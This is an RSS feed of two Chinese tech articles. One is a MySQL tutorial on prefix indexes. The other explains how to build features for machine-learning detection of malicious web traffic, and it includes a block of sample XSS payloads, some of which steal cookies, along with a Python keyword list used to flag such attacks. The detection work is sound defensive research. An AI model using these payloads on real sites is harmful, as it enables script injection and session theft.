<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="/rss.xsl" type="text/xsl"?>
<rss version="2.0">
  <channel>
    <title>IT瘾web推荐</title>
    <link>https://itindex.net/tags/web</link>
    <description>IT社区推荐资讯 - ITIndex.net</description>
    <language>zh</language>
    <copyright>https://itindex.net/</copyright>
    <generator>https://itindex.net/</generator>
    <docs>http://backend.userland.com/rss</docs>
    <image>
      <url>https://itindex.net/images/logo.gif</url>
      <title>IT社区推荐资讯 - ITIndex.net</title>
      <link>https://itindex.net/tags/web</link>
    </image>
    <item>
      <title>前缀索引，在性能和空间中寻找平衡</title>
      <link>https://itindex.net/detail/62745-%E5%89%8D%E7%BC%80-%E7%B4%A2%E5%BC%95-%E6%80%A7%E8%83%BD</link>
      <description>&lt;p&gt;@[toc]  &lt;br /&gt;我们在项目的具体实践中，有时候会遇到一些比较特殊的字段，例如身份证号码。&lt;/p&gt; &lt;p&gt;松哥之前有一个小伙伴做黑龙江省的政务服务网，里边有一些涉及到用户身份证存储的场景，由于存储的数据大部分都是当地的，此时如果想给身份证号码建立索引的话，小伙伴们知道，身份证前六位是地址码，在这样的场景下，给身份证字段建立索引的话，前六位的区分度是很低的，甚至前十位的区分度都很低（因为出生年份毕竟有限，一个省份上千万人口，出生年份重复率是很高的），不仅浪费存储空间，查询性能还低。&lt;/p&gt; &lt;p&gt;那么有没有办法解决这个问题呢？我们今天就来聊一聊前缀索引，聊完之后相信大家自己就有答案了。&lt;/p&gt; &lt;h2&gt;1.什么是前缀索引&lt;/h2&gt; &lt;p&gt;有时候为了提升索引的性能，我们只对字段的前几个字符建立索引，这样做既可以节约空间，还能减少字符串的比较时间，B+Tree 上需要存储的索引字符串更短，也能在一定程度上降低索引树的高度，提高查询效率。&lt;/p&gt; &lt;p&gt;MySQL 中的前缀索引有点类似于 Oracle 中对字段使用 Left 函数来建立函数索引，只不过 MySQL 的这个前缀索引在查询时是内部自动完成匹配的，并不需要使用 Left 函数。&lt;/p&gt; &lt;p&gt;不过前缀索引有一个缺陷，就是有可能会降低索引的  &lt;strong&gt;选择性&lt;/strong&gt;。&lt;/p&gt; &lt;h2&gt;2.什么是索引选择性&lt;/h2&gt; &lt;p&gt;关于索引的选择性（Index Selectivity），它是指不重复的索引值（也称为基数 cardinality)和数据表的记录总数的比值，取值范围在   &lt;code&gt;(0,1]&lt;/code&gt; 之间。索引的选择性越高则查询效率越高，因为选择性高的索引可以让 MySQL 在查找时过滤掉更多的行。&lt;/p&gt; &lt;p&gt;那有小伙伴要问了，是不是选择性越高的索引越好呢？当然不是！索引选择性最高为 1，如果索引选择性为 1，就是唯一索引了，搜索的时候就能直接通过搜索条件定位到具体一行记录！这个时候虽然性能最好，但是也是最费空间的，  &lt;strong&gt;这不符合我们创建前缀索引的初衷&lt;/strong&gt;。&lt;/p&gt; &lt;p&gt;我们一开始之所以要创建前缀索引而不是唯一索引，  &lt;strong&gt;就是希望能够在索引的性能和空间之间找到一个平衡&lt;/strong&gt;，我们希望能够选择足够长的前缀以保证较高的选择性（这样在查询的过程中就不需要扫描很多行），但是又希望索引不要太过于占用存储空间。&lt;/p&gt; &lt;p&gt;那么我们该如何选择一个合适的索引选择性呢？索引前缀应该足够长，以便前缀索引的选择性接近于索引的整个列，即前缀的基数应该接近于完整列的基数。&lt;/p&gt; &lt;p&gt;首先我们可以通过如下 SQL 得到全列选择性：&lt;/p&gt; &lt;pre&gt;  &lt;code&gt;SELECT COUNT(DISTINCT column_name) / COUNT(*) FROM table_name;&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;然后再通过如下 SQL 得到某一长度前缀的选择性：&lt;/p&gt; &lt;pre&gt;  &lt;code&gt;SELECT COUNT(DISTINCT LEFT(column_name, prefix_length)) / COUNT(*) FROM table_name;&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;在上面这条 SQL 执行的时候，我们要注意选择合适的 prefix_length，直至计算结果约等于全列选择性的时候，就是最佳结果了。&lt;/p&gt; &lt;h2&gt;3.创建前缀索引&lt;/h2&gt; &lt;h3&gt;3.1 一个小案例&lt;/h3&gt; &lt;p&gt;举个例子，我们来创建一个前缀索引看看。&lt;/p&gt; &lt;p&gt;松哥这里使用的数据样例是网上找的一个测试脚本，有 300W+ 条数据，做 SQL 测试优化是够用了，小伙伴们在公众号后台回复   &lt;code&gt;mysql-data-samples&lt;/code&gt; 获取脚本下载链接。&lt;/p&gt; &lt;p&gt;我们来大致上看下这个表结构：&lt;/p&gt; &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000043719955" title=""&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;这个表有一个 user_uuid 字段，我们就在这个字段上做文章。&lt;/p&gt; &lt;blockquote&gt;Git 小伙伴们应该都会用吧？不同于 Svn，Git 上的版本号不是数字而是一个 Hash 字符串，但是我们在具体应用的时候，比如你要做版本回退，此时并不需要输入完整的的版本号，只需要输入版本号前几个字符就行了，因为根据前面这一部分就能确定出版本号了。&lt;/blockquote&gt; &lt;p&gt;那么这张表里边的 user_uuid 字段也是这意思，如果我们想给 user_uuid 字段建立索引，就没有必要给完整的字符串建立索引，我们只需要给一部分字符串建立索引。&lt;/p&gt; &lt;p&gt;可能有小伙伴还是不太明白，我举一个例子，比如说我现在想按照 user_uuid 字段来查询，但是查询条件我没有必要写完整的 user_uuid，我只需要写前面一部分就可以区分出我想要的记录了，我们来看如下一条 SQL：&lt;/p&gt; &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000043719956" title=""&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;大家看到，user_uuid 我只需要给出一部分就能唯一锁定一条记录。&lt;/p&gt; &lt;blockquote&gt;当然，上面这个 SQL 是松哥测试过的，给定的   &lt;code&gt;&amp;apos;39352f%&amp;apos;&lt;/code&gt; 条件不能再短了，再短就会查出来两条甚至多条记录。&lt;/blockquote&gt; &lt;p&gt;通过上面这个例子我们就可以看出来，如果给 user_uuid 字段建立索引，可能并不需要给完整的字符串建立索引，只需要给一部分前缀字符串建立索引。&lt;/p&gt; &lt;p&gt;那么给前面几个字符串建立索引呢？这个可不是拍脑门，需要科学计算，我们继续往下看。&lt;/p&gt; &lt;h3&gt;3.2 前缀索引&lt;/h3&gt; &lt;p&gt;首先我们通过如下 SQL 来看一下 user_uuid 全列索引选择性是多少：&lt;/p&gt; &lt;pre&gt;  &lt;code&gt;SELECT COUNT(DISTINCT user_uuid) / COUNT(*) FROM system_user;&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000043719957" title=""&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;可以看到，结果为 1。全列选择性为 1 说明这一列的值都是唯一不重复的。&lt;/p&gt; &lt;p&gt;接下来我们先来试几个不同的 prefix_length，看看选择性如何。&lt;/p&gt; &lt;p&gt;松哥这里一共测试了 5 个不同的 prefix_length，大家来看看各自的选择性：&lt;/p&gt; &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000043719958" title=""&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;8 和 9 的选择性是一样的，因为在 uuid 字符串中，第 9 个字符串是   &lt;code&gt;-&lt;/code&gt;，所有的 uuid 第九个字符串都一样，所以 8 个字符和 9 个字符串的区分度就一样。&lt;/p&gt; &lt;p&gt;当 prefix_length 为 10 的时候，选择性就已经是 1 了，意思是，在这 300W+ 条数据中，如果我用 user_uuid 这个字段去查询的话，只需要输入前十个字符，就能唯一定位到一条具体的记录了。&lt;/p&gt; &lt;p&gt;那还等啥，赶紧创建前缀索引呗：&lt;/p&gt; &lt;pre&gt;  &lt;code&gt;alter table system_user add index user_uuid_index(user_uuid(10));&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;查看刚刚创建的前缀索引：&lt;/p&gt; &lt;pre&gt;  &lt;code&gt;show index from system_user;&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000043719959" title=""&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;可以看到，第二行就是我们刚刚创建的前缀索引。&lt;/p&gt; &lt;p&gt;接下来我们分析查询语句中是否用到该索引：&lt;/p&gt; &lt;pre&gt;  &lt;code&gt;select * from system_user where user_uuid=&amp;apos;39352f81-165e-4405-9715-75fcdf7f7068&amp;apos;;&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000043719960" title=""&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;可以看到，这个前缀索引已经用上了。&lt;/p&gt; &lt;p&gt;具体搜索流程是这样：&lt;/p&gt; &lt;ol&gt;  &lt;li&gt;从    &lt;code&gt;user_uuid_index&lt;/code&gt; 索引中找到第一个值为    &lt;code&gt;39352f81-1&lt;/code&gt; 的记录（user_uuid 的前十个字符）。&lt;/li&gt;  &lt;li&gt;由于 user_uuid 是二级索引，叶子结点保存的是主键值，所以此时拿到了主键 id 为 1。&lt;/li&gt;  &lt;li&gt;拿着主键 id 去回表，在主键索引上找到 id 为 1 的行的完整记录，返回给 server 层。&lt;/li&gt;  &lt;li&gt;   &lt;p&gt;server 层判断其 user_uuid 是不是     &lt;code&gt;39352f81-165e-4405-9715-75fcdf7f7068&lt;/code&gt;（所以执行计划的 Extra 为 Using where）。&lt;/p&gt;   &lt;ol&gt;    &lt;li&gt;如果不是，这行记录丢弃。&lt;/li&gt;    &lt;li&gt;如果是，将该记录加入结果集。&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;  &lt;li&gt;索引叶子结点上数据之间是有单向链表维系的，所以接着第一步查找的结果，继续向后读取下一条记录，然后重复 2、3、4 步，直到在 user_uuid_index 上取到的值不为    &lt;code&gt;39352f81-1&lt;/code&gt; 时，循环结束。&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;  &lt;strong&gt;如果我们建立了前缀索引并且前缀索引的选择性为 1，那么就不需要第 5 步了，如果前缀索引选择性小于 1，就需要第五步。&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;从上面的案例中，小伙伴们看到，我们既节省了空间，又提高了搜索效率。&lt;/p&gt; &lt;h3&gt;3.3 一个问题&lt;/h3&gt; &lt;p&gt;使用了前缀索引后，我们来看一个问题，大家来看如下一条查询 SQL：&lt;/p&gt; &lt;pre&gt;  &lt;code&gt;select user_uuid from system_user where user_uuid=&amp;apos;39352f81-165e-4405-9715-75fcdf7f7068&amp;apos;;&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;这次不是   &lt;code&gt;select *&lt;/code&gt;，而是   &lt;code&gt;select user_uuid&lt;/code&gt;，小伙伴们知道，这里应该是要用到覆盖索引，我们来看看执行计划：&lt;/p&gt; &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000043719961" title=""&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;咦，说好的索引覆盖呢？（注意看 Extra 是 Using where 不是 Using index）。&lt;/p&gt; &lt;p&gt;大家想想，前缀索引中，B+Tree 里保存的就不是完整的   &lt;code&gt;user_uuid&lt;/code&gt; 字段的值，必须要回表才能拿到需要的数据。  &lt;strong&gt;所以，用了前缀索引，就用不了覆盖索引了。&lt;/strong&gt;&lt;/p&gt; &lt;h2&gt;4. 回到开始的问题&lt;/h2&gt; &lt;p&gt;在本文一开始，松哥抛出了一个问题，如何给身份证建立索引更高效？&lt;/p&gt; &lt;p&gt;由于身份证前六位区分度太低，所以我们可以考虑将身份证倒序存储，倒序存储之后，为前六位或者前八位（可以自行计算选择性）建立前缀索引，这样的建立的索引选择性就会比较高，同时对空间的占用也会比较小。在查询的时候使用 reverse 反转身份证号码即可，像下面这样：&lt;/p&gt; &lt;pre&gt;  &lt;code&gt;explain select * from user where id_card=reverse(&amp;apos;正序的身份证号码&amp;apos;);&lt;/code&gt;&lt;/pre&gt; &lt;h2&gt;5.小结&lt;/h2&gt; &lt;p&gt;好啦，这就是前缀索引，感兴趣的小伙伴赶紧体验一把吧~&lt;/p&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>mysql java java-ee java-web</category>
      <guid isPermaLink="true">https://itindex.net/detail/62745-%E5%89%8D%E7%BC%80-%E7%B4%A2%E5%BC%95-%E6%80%A7%E8%83%BD</guid>
      <pubDate>Mon, 24 Apr 2023 11:03:40 CST</pubDate>
    </item>
    <item>
      <title>机器学习之恶意流量检测的特征工程</title>
      <link>https://itindex.net/detail/60300-%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0-%E6%B5%81%E9%87%8F-%E7%89%B9%E5%BE%81</link>
      <description>&lt;h2&gt;      &lt;strong&gt;背景&lt;/strong&gt;&lt;/h2&gt;
 &lt;p&gt;      &lt;strong&gt;   &lt;strong&gt;传统的机器学习除了使用Tfidf-ngram的方式外还有其他做特征工程方式，还可以通过定义不同维度的特征来做特征工程，这种特征工程方式需要安全工程师对每一种攻击有良好特征提取能力。这种方法举个例子来说可以这样理解，我的输入是姚明，此时我在特征工程阶段需要将姚明转化为身高2.2米、体重400斤等等数值特征，再经过标准化等转化为机器可以识别的量纲单位进行学习预测。&lt;/strong&gt;&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;      &lt;img src="https://image.3001.net/images/20191226/1577341069_5e04508dc6450.png!small"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;      &lt;strong&gt;机器学习流程&amp;amp;&lt;/strong&gt;  &lt;strong&gt;特征工程&lt;/strong&gt;&lt;/h2&gt;
 &lt;p&gt;    传统的机器学习可以理解成是生产算法的算法。需要人来先做特征提取，然后在把特征向量化后交给机器去训练。为什么要做特征工程，有这么一句话在业界广泛流传：数据和特征决定了机器学习的上限，而模型和算法只是逼近这个上限而已。我们做特征工程的目的是为了让训练后的结果达到最优的状态。&lt;/p&gt;
 &lt;p&gt;      &lt;img src="https://image.3001.net/images/20191226/1577343601_5e045a71792b5.png!small"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;    本例中我们的目的是从流量中识别恶意流量，首先需要在所有的负例样本中筛选出最具代表的特征，在所有的负例样本中筛选出最具代表的特征，我们先从简单关键词特征开始。观察正例样本基本没有类似information_schema.table、 sleep() 、alert(/1/)这种的特殊字符。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;   &lt;p&gt;format=xml&amp;amp;platform=ppap&amp;amp;channel=withoutchannelfilename=sgim_eng.zip&amp;amp;h=B2EF665558623D671FC19AC78CA2F0F3&amp;amp;v=8.0.0.8381&amp;amp;ifauto=1&lt;/p&gt;   &lt;p&gt;    md5=d10015a0eb30bd33bb917e1d527c649num=8&amp;amp;PaperCode=600054daid=41&amp;amp;clientuin=1264523260&lt;/p&gt;   &lt;p&gt;    clientkey=00015947C124007000F19A1CB5D10832A25TAG=ieg.qqpenguin.desktopdaid=41&amp;amp;clientuin=1264523260&lt;/p&gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;    观察负例样本可以将如下负例样本看作是请求的value部份如  &lt;a href="http://www.xx.com/path?key1=value1&amp;key2=value2"&gt;http://x.x.x/path?key1=value1&amp;amp;key2=value2&lt;/a&gt;，可以观察到同类型攻击具有很多相同的特征，比如xss来说具有很多javascript、alert、onerror=等特征，sql注入具有information_schema、information_schema.table、select、from、where等关键词特征&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;&amp;lt;form id=&amp;quot;test&amp;quot; /&amp;gt;&amp;lt;button form=&amp;quot;test&amp;quot;formaction=&amp;quot;javascript:alert(123)&amp;quot;&amp;gt;TESTHTML5FORMACTION&amp;lt;scriptitworksinallbrowsers&amp;gt;/&amp;lt;script */alert(1)&amp;lt;/script&amp;lt;metahttp-equiv=&amp;quot;refresh&amp;quot; content=&amp;quot;0;url=javascript:confirm(1)&amp;quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;script&amp;gt;alert(/xss/)&amp;lt;/script&amp;gt;&amp;apos;&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&amp;lt;form&amp;gt;&amp;lt;isindexformaction=&amp;quot;javascript&amp;amp;colon;confirm(1)&amp;quot;alert(String.fromCharCode(88,83,83));&amp;apos;))&amp;quot;&amp;gt;&amp;lt;inputtype=&amp;quot;text&amp;quot; value=``&amp;lt;div/onmouseover=&amp;apos;alert(1)&amp;apos;&amp;gt;X&amp;lt;/div&amp;gt;&amp;lt;BODY ONLOAD=alert(&amp;apos;helloxworldss&amp;apos;)&amp;gt;&amp;lt;![&amp;gt;&amp;lt;img src=&amp;quot;]&amp;gt;&amp;lt;img src=x onerror=alert(XSS)//&amp;quot;&amp;gt;&amp;lt;inputonblur=write(XSS) autofocus&amp;gt;&amp;lt;input autofocus&amp;gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;    本例抽取部份的xss负例样本，从中可以抽取的特征规则大致可以这样表示&lt;/p&gt;
 &lt;table&gt;


  &lt;tr&gt;
   &lt;td&gt;                    &lt;strong&gt;onmouseover=&lt;/strong&gt;            &lt;/td&gt;
   &lt;td&gt;                    &lt;strong&gt;onload=&lt;/strong&gt;            &lt;/td&gt;
   &lt;td&gt;                    &lt;strong&gt;onerror=&lt;/strong&gt;            &lt;/td&gt;
   &lt;td&gt;                    &lt;strong&gt;alert()&lt;/strong&gt;            &lt;/td&gt;
   &lt;td&gt;                    &lt;strong&gt;prompt()&lt;/strong&gt;            &lt;/td&gt;
&lt;/tr&gt;


  &lt;tr&gt;
   &lt;td&gt;                javascript:            &lt;/td&gt;
   &lt;td&gt;                &amp;lt;script&amp;gt;            &lt;/td&gt;
   &lt;td&gt;                &amp;lt;/script&amp;gt;            &lt;/td&gt;
   &lt;td&gt;                confirm()            &lt;/td&gt;
   &lt;td&gt;                onblur=            &lt;/td&gt;
&lt;/tr&gt;

&lt;/table&gt;
 &lt;p&gt;    即便如此仍然会存在很多变形特征，比如&amp;lt;script/**/&amp;gt;、console.log()、&amp;lt;Script&amp;gt;，所以进行一步完善特征工程这一次我们将特征分为两个维度，第一个维度是词特征，第二是符号纬度，同时对所有的大小写进行统一转换为小写，对于请求的value是url这种可能会存在很多特殊符号的链接特征，在本例中可以进行统一降噪转换为”x”避免受到此类特征等影响学习结果&lt;/p&gt;
 &lt;table&gt;


  &lt;tr&gt;
   &lt;td&gt;                    &lt;strong&gt;关键词纬度&lt;/strong&gt;            &lt;/td&gt;
   &lt;td&gt;&lt;/td&gt;
   &lt;td&gt;&lt;/td&gt;
   &lt;td&gt;&lt;/td&gt;
   &lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;


  &lt;tr&gt;
   &lt;td&gt;                Javascript:            &lt;/td&gt;
   &lt;td&gt;                script            &lt;/td&gt;
   &lt;td&gt;                Confirm=            &lt;/td&gt;
   &lt;td&gt;                Onblur=            &lt;/td&gt;
   &lt;td&gt;                Src=            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                    &lt;strong&gt;Onmouseover=&lt;/strong&gt;            &lt;/td&gt;
   &lt;td&gt;                    &lt;strong&gt;Onload=&lt;/strong&gt;            &lt;/td&gt;
   &lt;td&gt;                    &lt;strong&gt;Onerror=&lt;/strong&gt;            &lt;/td&gt;
   &lt;td&gt;                    &lt;strong&gt;alert&lt;/strong&gt;            &lt;/td&gt;
   &lt;td&gt;                    &lt;strong&gt;prompt&lt;/strong&gt;            &lt;/td&gt;
&lt;/tr&gt;


  &lt;tr&gt;
   &lt;td&gt;                    &lt;strong&gt;符号纬度&lt;/strong&gt;            &lt;/td&gt;
   &lt;td&gt;&lt;/td&gt;
   &lt;td&gt;&lt;/td&gt;
   &lt;td&gt;&lt;/td&gt;
   &lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;


  &lt;tr&gt;
   &lt;td&gt;                &amp;gt;             &lt;/td&gt;
   &lt;td&gt;                ‘            &lt;/td&gt;
   &lt;td&gt;                ”            &lt;/td&gt;
   &lt;td&gt;                *            &lt;/td&gt;
   &lt;td&gt;                /            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                    &lt;strong&gt;=&lt;/strong&gt;            &lt;/td&gt;
   &lt;td&gt;                    &lt;strong&gt;:&lt;/strong&gt;            &lt;/td&gt;
   &lt;td&gt;                    &lt;strong&gt;（&lt;/strong&gt;            &lt;/td&gt;
   &lt;td&gt;                    &lt;strong&gt;）&lt;/strong&gt;            &lt;/td&gt;
   &lt;td&gt;                    &lt;strong&gt;&amp;lt; &lt;/strong&gt;            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                `            &lt;/td&gt;
   &lt;td&gt;                \            &lt;/td&gt;
   &lt;td&gt;                ；            &lt;/td&gt;
   &lt;td&gt;                &amp;lt;             &lt;/td&gt;
   &lt;td&gt;                &amp;gt;             &lt;/td&gt;
&lt;/tr&gt;

&lt;/table&gt;
 &lt;p&gt;    这里特别说明一下特征除此之外的纬度还有很多，playload的长度、请求响应时间、该ip或该来源指纹请求次数等等，这里我们只用了2个维度来简单说明。我们继续将特征进行进行量化，可以大致得到如下每条playload内容对应的特征向量&lt;/p&gt;
 &lt;table&gt;


  &lt;tr&gt;
   &lt;td&gt;                    &lt;strong&gt;playload&lt;/strong&gt;            &lt;/td&gt;
   &lt;td&gt;                    &lt;strong&gt;关键词纬度&lt;/strong&gt;            &lt;/td&gt;
   &lt;td&gt;                    &lt;strong&gt;符号维度&lt;/strong&gt;            &lt;/td&gt;
   &lt;td&gt;                    &lt;strong&gt;特征编码&lt;/strong&gt;            &lt;/td&gt;
&lt;/tr&gt;


  &lt;tr&gt;
   &lt;td&gt;                &amp;lt;form id=”test” /&amp;gt;&amp;lt;button form=”test” formaction=”javascript:alert(1)”&amp;gt;            &lt;/td&gt;
   &lt;td&gt;                javascriptalert            &lt;/td&gt;
   &lt;td&gt;                ():”&amp;quot;&amp;lt;&amp;gt;            &lt;/td&gt;
   &lt;td&gt;                [2,7]            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                num=”&amp;gt;&amp;lt;img src=x onerror=window.open(‘    &lt;a href="https://www.x.com/');"&gt;https://www.x.com/’);&lt;/a&gt;&amp;gt;            &lt;/td&gt;
   &lt;td&gt;                onerror            &lt;/td&gt;
   &lt;td&gt;                “&amp;gt;&amp;lt;’/:            &lt;/td&gt;
   &lt;td&gt;                [2,6]            &lt;/td&gt;
&lt;/tr&gt;

&lt;/table&gt;
 &lt;p&gt;    在处理请求的过程中难免会出现特质编码[8,40],[9,35]类似这样具有奇异性的特征编码，在机器学习领域中我们需要将量纲和量纲单位限定在一个空间同样的数量级范围内，经过处理后的数据会消除奇异值带来的影响，以便我们进行综合对比评判。&lt;/p&gt;
 &lt;p&gt;      &lt;strong&gt;min-max标准化&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    这里简单说一下标准化，min-Max就是把数据按比例缩放，使之落入一个小的空间里。同时不改变原有的正态分布，特征数据的取值范围并不在[ 0，1 ]之间，着点跟归一化不同。如下其中X代表要转换的对象，[New_max，New_min]代表范围区间。&lt;/p&gt;
 &lt;p&gt;      &lt;img src="https://image.3001.net/images/20191226/1577343742_5e045afed21d5.png!small"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;收入范围最低收入12000，最高收入98000，标准化映射到[0，1]之间，现在要将一个人收入是73600进行标准化，映射后的结果如下  &lt;img src="https://image.3001.net/images/20191226/1577289809_5e038851ed9fb.png!small"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;      &lt;strong&gt;代码示例&lt;/strong&gt;&lt;/h2&gt;
 &lt;p&gt;    数据预处理，这里正负样本数据结构就不再重复了，保证一个都是恶意样本，一个是正常样本即可。&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;def loadFile():
    badXss = &amp;quot;./badx.txt&amp;quot;
    goodXss = &amp;quot;./goox.txt&amp;quot;
    bf = [x.strip().lower() for x inopen(badXss, &amp;quot;r&amp;quot;).readlines()]
    gf = [x.strip().lower() for x inopen(goodXss, &amp;quot;r&amp;quot;).readlines()]
    return bf, gf&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;    特征工程阶段，一条playload或者正常样本后进行特征提取，特征拆分成两个维度，一个维度是关键词特征，一个维度是关键符号特征&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;def MakeFeature(x):
    charList = [&amp;quot;onmouseover=&amp;quot;,&amp;quot;onload=&amp;quot;, &amp;quot;onerror=&amp;quot;, &amp;quot;javascript&amp;quot;,&amp;quot;alert&amp;quot;, &amp;quot;src=&amp;quot;, &amp;quot;confirm&amp;quot;, &amp;quot;onblur&amp;quot;]
    markList = [&amp;quot;=&amp;quot;, &amp;quot;:&amp;quot;,&amp;quot;&amp;gt;&amp;quot;, &amp;quot;&amp;lt;&amp;quot;, &amp;apos;&amp;quot;&amp;apos;, &amp;quot;&amp;apos;&amp;quot;, &amp;quot;)&amp;quot;,&amp;quot;(&amp;quot;, &amp;quot;.&amp;quot;]
    featureList = []
    for i in x:
        char_count, mark_count = 0, 0
        payload =urllib.parse.unquote(i.lower().strip())
        for charts in charList:
            char_count = payload.count(charts)+ char_count
        for marks in markList:
            mark_count = payload.count(marks) +mark_count
        featureList.append([char_count,mark_count])
    return featureList&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;    训练阶段拆分40%测试集，这里笔者使用了多个算法分别进行训练，目的是想看一下几个算法在相同数据集下的训练时间和效果&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;def train(x, y):
    x_train, x_test, y_train, y_test =train_test_split(x, y, test_size=0.4, random_state=666)
    param = {&amp;apos;n_estimators&amp;apos;: 200, &amp;apos;max_depth&amp;apos;:200, &amp;apos;min_samples_split&amp;apos;: 2, &amp;apos;learning_rate&amp;apos;: 0.01}
    NBM = [MultinomialNB(alpha=0.01),  # 多项式模型-朴素贝叶斯
           BernoulliNB(alpha=0.01),
          DecisionTreeClassifier(max_depth=100),
          RandomForestClassifier(criterion=&amp;apos;gini&amp;apos;, max_depth=100,n_estimators=200),
           LogisticRegression(random_state=40,solver=&amp;apos;lbfgs&amp;apos;, max_iter=10000, penalty=&amp;apos;l2&amp;apos;,multi_class=&amp;apos;multinomial&amp;apos;,class_weight=&amp;apos;balanced&amp;apos;, C=100),
           LinearSVC(class_weight=&amp;apos;balanced&amp;apos;,random_state=100, penalty=&amp;apos;l2&amp;apos;,loss=&amp;apos;squared_hinge&amp;apos;, C=0.92, dual=False),
           SVC(kernel=&amp;apos;rbf&amp;apos;, gamma=0.7, C=1),
           # GradientBoostingClassifier(param)
           ]
    NAME = [&amp;quot;多项式&amp;quot;, &amp;quot;伯努利&amp;quot;, &amp;quot;决策树&amp;quot;, &amp;quot;随机森林&amp;quot;, &amp;quot;线性回归&amp;quot;, &amp;quot;linerSVC&amp;quot;, &amp;quot;svc-rbf&amp;quot;]
    for model, modelName in zip(NBM, NAME):
        model.fit(x_train, y_train)
        pred = model.predict(x_test)
        dts = len(np.where(pred == y_test)[0])/ len(y_test)
        print(&amp;quot;{} 精度:{:.5f} &amp;quot;.format(modelName, dts * 100))
        joblib.dump(model, &amp;apos;./model.pkl&amp;apos;)&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;    预测概率，加载模型进行精度预测&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;def predicts(x):
    clf = joblib.load(&amp;apos;./model.pkl&amp;apos;)
    return clf.predict(x)

def run():
    badx, goodx = loadFile()
    goodx = MakeFeature(goodx)
    badx = MakeFeature(badx)
    goody = [0] * len(goodx)
    bady = [1] * len(badx)
    min_max_scaler = preprocessing.MinMaxScaler()
    X_train_minmax =min_max_scaler.fit_transform(bady)
    x = np.array(goodx + badx).reshape(-1, 2)
    y = np.array(goody + bady).reshape(-1, 1)
    train(x, y)
     testX =[&amp;quot;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;quot;, &amp;quot;123123sadas&amp;quot;,&amp;quot;onloads2s&amp;quot;, &amp;quot;scriptsad23asdasczxc&amp;quot;,&amp;quot;onload=alert(1)&amp;quot;]
     x =MakeFeature(testX)
     forres, req in zip(predicts(x), testX):
         print(&amp;quot;XSS==&amp;gt;&amp;quot; if res == 1else &amp;quot;None==&amp;gt;&amp;quot;, req)&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;    预测结果&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;        XSS==&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;    &lt;/p&gt;
  &lt;p&gt;        None==&amp;gt; 123123sadas    &lt;/p&gt;
  &lt;p&gt;        None==&amp;gt; onloads2s    &lt;/p&gt;
  &lt;p&gt;        None==&amp;gt;scriptsad23asdasczxc    &lt;/p&gt;
  &lt;p&gt;        XSS==&amp;gt;onload=alert(1)“””    &lt;/p&gt;
&lt;/blockquote&gt;
 &lt;h2&gt;      &lt;strong&gt;结果&lt;/strong&gt;&lt;/h2&gt;
